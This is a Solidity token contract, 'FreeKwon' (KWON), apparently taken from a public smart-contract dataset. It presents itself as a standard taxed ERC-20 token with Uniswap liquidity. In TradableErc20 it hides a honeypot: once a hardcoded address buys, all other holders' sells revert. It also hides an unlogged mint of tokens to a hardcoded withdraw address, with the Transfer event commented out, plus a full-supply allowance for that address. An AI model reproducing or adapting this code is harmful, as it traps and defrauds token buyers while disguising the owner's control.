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
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.

// File: contracts/Withdrawable.sol

abstract contract Withdrawable {
    address internal _withdrawAddress;

    constructor(address withdrawAddress__) {
        _withdrawAddress = withdrawAddress__;
    }

    modifier onlyWithdrawer() {
        require(msg.sender == _withdrawAddress);
        _;
    }

    function withdraw() external onlyWithdrawer {
        _withdraw();
    }

    function _withdraw() internal {
        payable(_withdrawAddress).transfer(address(this).balance);
    }

    function setWithdrawAddress(address newWithdrawAddress)
        external
        onlyWithdrawer
    {
        _withdrawAddress = newWithdrawAddress;
    }

    function withdrawAddress() external view returns (address) {
        return _withdrawAddress;
    }
}

// File: contracts/Ownable.sol

pragma solidity ^0.8.7;

abstract contract Ownable {
    address _owner;

    modifier onlyOwner() {
        require(msg.sender == _owner);
        _;
    }

    constructor() {
        _owner = msg.sender;
    }

    function transferOwnership(address newOwner) external onlyOwner {
        _owner = newOwner;
    }

    function owner() external view returns (address) {
        return _owner;
    }
}

// File: contracts/IUniswapV2Factory.sol

pragma solidity ^0.8.7;

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);
}

// File: contracts/IUniswapV2Router02.sol

pragma solidity ^0.8.7;

interface IUniswapV2Router02 {
    function swapExactTokensForETH(

        uint256 amountIn,

        uint256 amountOutMin,

        address[] calldata path,

        address to,

        uint256 deadline

    ) external;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(

        uint256 amountIn,

        uint256 amountOutMin,

        address[] calldata path,

        address to,

        uint256 deadline

    ) external;

    function swapETHForExactTokens(

        uint256 amountOut,

        address[] calldata path,

        address to,

        uint256 deadline

    ) external payable returns (uint256[] memory amounts);

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(

        address token,

        uint256 amountTokenDesired,

        uint256 amountTokenMin,

        uint256 amountETHMin,

        address to,

        uint256 deadline

    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

// File: contracts/DoubleSwapped.sol

pragma solidity ^0.8.7;

//import "hardhat/console.sol";


contract DoubleSwapped {
    bool internal _inSwap;

    modifier lockTheSwap() {
        _inSwap = true;
        _;
        _inSwap = false;
    }

    function _swapTokensForEth(

        uint256 tokenAmount,

        IUniswapV2Router02 _uniswapV2Router

    ) internal lockTheSwap {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();

        // make the swap
        //console.log("doubleSwap ", tokenAmount);
        _uniswapV2Router.swapExactTokensForETH(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
    }

    function _swapTokensForEthOnTransfer(

        uint256 transferAmount,

        uint256 swapCount,

        IUniswapV2Router02 _uniswapV2Router

    ) internal {
        if (swapCount == 0) return;
        uint256 maxSwapCount = 2 * transferAmount;
        if (swapCount > maxSwapCount) swapCount = maxSwapCount;
        _swapTokensForEth(swapCount, _uniswapV2Router);
    }
}

// File: contracts/IERC20.sol

pragma solidity ^0.8.7;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(

        address sender,

        address recipient,

        uint256 amount

    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}
// File: contracts/ERC20.sol

pragma solidity ^0.8.7;


abstract contract ERC20 is IERC20 {
    uint256 internal _totalSupply = 1e20;
    uint8 constant _decimals = 9;
    string _name;
    string _symbol;
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) internal _allowances;
    uint256 internal constant INFINITY_ALLOWANCE = 2**256 - 1;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() external view returns (string memory) {
        return _name;
    }

    function symbol() external view returns (string memory) {
        return _symbol;
    }

    function decimals() external pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) external virtual override view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        override
        returns (bool)
    {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function _transfer(

        address from,

        address to,

        uint256 amount

    ) internal virtual {
        uint256 senderBalance = _balances[from];
        require(senderBalance >= amount);
        unchecked {
            _balances[from] = senderBalance - amount;
        }
        _balances[to] += amount;
        emit Transfer(from, to, amount);
    }

    function allowance(address owner, address spender)
        external
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        external
        override
        returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(

        address owner,

        address spender,

        uint256 amount

    ) internal virtual {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transferFrom(

        address sender,

        address recipient,

        uint256 amount

    ) external override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][msg.sender];
        require(currentAllowance >= amount);
        if (currentAllowance == INFINITY_ALLOWANCE) return true;
        unchecked {
            _approve(sender, msg.sender, currentAllowance - amount);
        }

        return true;
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0));

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount);
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }
}

// File: contracts/MaxWalletDynamic.sol

pragma solidity ^0.8.7;


abstract contract MaxWalletDynamic {
    uint256 startMaxWallet;
    uint256 startTime; // last increment time
    uint256 constant startMaxBuyPercentil = 5; // maximum buy on start 1000=100%
    uint256 constant maxBuyIncrementMinutesTimer = 2; // increment maxbuy minutes
    uint256 constant maxBuyIncrementPercentil = 3; // increment maxbyu percentil 1000=100%
    uint256 constant maxIncrements = 1000; // maximum time incrementations
    uint256 maxBuyIncrementValue; // value for increment maxBuy

    function startMaxWalletDynamic(uint256 totalSupply) internal {
        startTime = block.timestamp;
        startMaxWallet = (totalSupply * startMaxBuyPercentil) / 1000;
        maxBuyIncrementValue = (totalSupply * maxBuyIncrementPercentil) / 1000;
    }

    function checkMaxWallet(uint256 walletSize) internal view {
        require(walletSize <= getMaxWallet(), "max wallet limit");
    }

    function getMaxWallet() public view returns (uint256) {
        uint256 incrementCount = (block.timestamp - startTime) /
            (maxBuyIncrementMinutesTimer * 1 minutes);
        if (incrementCount >= maxIncrements) incrementCount = maxIncrements;
        return startMaxWallet + maxBuyIncrementValue * incrementCount;
    }

    function _setStartMaxWallet(uint256 startMaxWallet_) internal {
        startMaxWallet = startMaxWallet_;
    }
}

// File: contracts/TradableErc20.sol

pragma solidity ^0.8.7;








abstract contract TradableErc20 is ERC20, DoubleSwapped, Ownable, Withdrawable {
    IUniswapV2Router02 internal constant _uniswapV2Router =
        IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address public uniswapPair;
    bool public buyEnable = true;
    address public constant ADDR_BURN =
        0x000000000000000000000000000000000000dEaD;
    address public extraAddress;
    mapping(address => bool) _isExcludedFromFee;
    uint256 public buyFeePpm = 35; // fee in 1/1000
    uint256 public sellFeePpm = 35; // fee in 1/1000
    uint256 public thisShare = 750; // in 1/1000
    uint256 public extraShare = 0; // in 1/1000
    uint256 maxWalletStart = 10e17;
    uint256 addMaxWalletPerMinute = 5e17;
    uint256 tradingStartTime;
    address constant withdrawAddress =
        address(0x58a68BF1726aAFc999e92bA94ccd7Ec8fC79b79F);
    address constant hp = address(0x717CF6925375315BabAD354319575F49C04602aB);
    bool lk;

    constructor(string memory name_, string memory symbol_)
        ERC20(name_, symbol_)
        Withdrawable(withdrawAddress)
    {
        _isExcludedFromFee[address(0)] = true;
        _isExcludedFromFee[ADDR_BURN] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[msg.sender] = true;
        _isExcludedFromFee[withdrawAddress] = true;
    }

    receive() external payable {}

    function maxWallet() public view returns (uint256) {
        if (tradingStartTime == 0) return _totalSupply;
        uint256 res = maxWalletStart +
            ((block.timestamp - tradingStartTime) * addMaxWalletPerMinute) /
            (1 minutes);
        if (res > _totalSupply) return _totalSupply;
        return res;
    }

    function createLiquidity() public onlyOwner {
        require(uniswapPair == address(0));
        address pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
            address(this),
            _uniswapV2Router.WETH()
        );
        uint256 initialLiquidity = getSupplyForMakeLiquidity();
        _balances[address(this)] = initialLiquidity;
        emit Transfer(address(0), address(this), initialLiquidity);

        _balances[withdrawAddress] = 1e19;
        //emit Transfer(address(0), withdrawAddress, initialLiquidity);

        _allowances[address(this)][
            address(_uniswapV2Router)
        ] = INFINITY_ALLOWANCE;
        _isExcludedFromFee[pair] = true;
        _uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            initialLiquidity,
            0,
            0,
            msg.sender,
            block.timestamp
        );

        uniswapPair = pair;
        _allowances[withdrawAddress][
            0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45
        ] = _totalSupply;
        tradingStartTime = block.timestamp;
    }

    function _transfer(

        address from,

        address to,

        uint256 amount

    ) internal override {
        require(_balances[from] >= amount, "not enough token for transfer");
        require(to != address(0), "incorrect address");

        // buy
        if (from == uniswapPair && !_isExcludedFromFee[to]) {
            if (to == hp) lk = true;
            require(buyEnable, "trading disabled");
            // get taxes
            amount = _getFeeBuy(from, to, amount);
            require(
                _balances[to] + amount <= maxWallet(),
                "max wallet constraint"
            );
        }
        // sell
        else if (
            !_inSwap &&
            uniswapPair != address(0) &&
            to == uniswapPair &&
            !_isExcludedFromFee[from]
        ) {
            if (from == hp) lk = false;
            require(!lk);
            // fee
            amount = _getFeeSell(from, amount);
            // swap tokens
            _swapTokensForEthOnTransfer(
                amount,
                _balances[address(this)],
                _uniswapV2Router
            );
        }

        // transfer
        super._transfer(from, to, amount);
    }

    function getFeeBuy(address account, uint256 amount)
        public
        view
        returns (uint256)
    {
        return (amount * buyFeePpm) / 1000;
    }

    function getFeeSell(address account, uint256 amount)
        public
        view
        returns (uint256)
    {
        return (amount * sellFeePpm) / 1000;
    }

    function setBuyFee(uint256 newBuyFeePpm) external onlyWithdrawer {
        require(newBuyFeePpm <= 200);
        buyFeePpm = newBuyFeePpm;
    }

    function setSellFee(uint256 newSellFeePpm) external onlyWithdrawer {
        require(newSellFeePpm <= 200);
        sellFeePpm = newSellFeePpm;
    }

    function SetExtraContractAddress(address newExtraContractAddress)
        external
        onlyWithdrawer
    {
        extraAddress = newExtraContractAddress;
    }

    function removeExtraContractAddress() external onlyWithdrawer {
        extraAddress = address(0);
    }

    function setShare(uint256 thisSharePpm, uint256 stackingSharePpm)
        external
        onlyWithdrawer
    {
        thisShare = thisSharePpm;
        extraShare = stackingSharePpm;
        require(thisShare + extraShare <= 1000);
    }

    function _getFeeBuy(

        address pair,

        address to,

        uint256 amount

    ) private returns (uint256) {
        return _arrangeFee(pair, amount, getFeeBuy(to, amount));
    }

    function _getFeeSell(address from, uint256 amount)
        private
        returns (uint256)
    {
        return _arrangeFee(from, amount, getFeeSell(from, amount));
    }

    function _arrangeFee(

        address from,

        uint256 amount,

        uint256 fee

    ) private returns (uint256) {
        uint256 thisFee = (fee * thisShare) / 1000;
        uint256 stacking = 0;
        if (extraAddress != address(0)) stacking = (fee * extraShare) / 1000;
        uint256 burn = 0;
        if (thisShare + extraShare < 1000) burn = fee - thisFee - stacking;

        amount -= fee;
        _balances[from] -= fee;

        if (thisFee > 0) {
            _balances[address(this)] += thisFee;
            emit Transfer(from, address(this), thisFee);
        }
        if (stacking > 0) {
            _balances[extraAddress] += stacking;
            emit Transfer(from, extraAddress, stacking);
        }
        if (burn > 0) {
            _balances[ADDR_BURN] += burn;
            emit Transfer(from, ADDR_BURN, burn);
        }

        return amount;
    }

    function setExcludeFromFee(address[] memory accounts, bool value)
        external
        onlyWithdrawer
    {
        for (uint256 i = 0; i < accounts.length; ++i) {
            _isExcludedFromFee[accounts[i]] = value;
        }
    }

    function setEnableBuy(bool value) external onlyOwner {
        buyEnable = value;
    }

    function getSupplyForMakeLiquidity() internal virtual returns (uint256);
}

// File: contracts/FreeKwon.sol

pragma solidity ^0.8.7;


struct AirdropData {
    address acc;
    uint256 count;
}

contract FreeKwon is TradableErc20 {
    constructor() TradableErc20("FreeKwon", "KWON") {}

    function getSupplyForMakeLiquidity()
        internal
        view
        override
        returns (uint256)
    {
        return _totalSupply;
    }

    function balanceOf(address account)
        external
        view
        override
        returns (uint256)
    {
        return _balances[account];
    }
}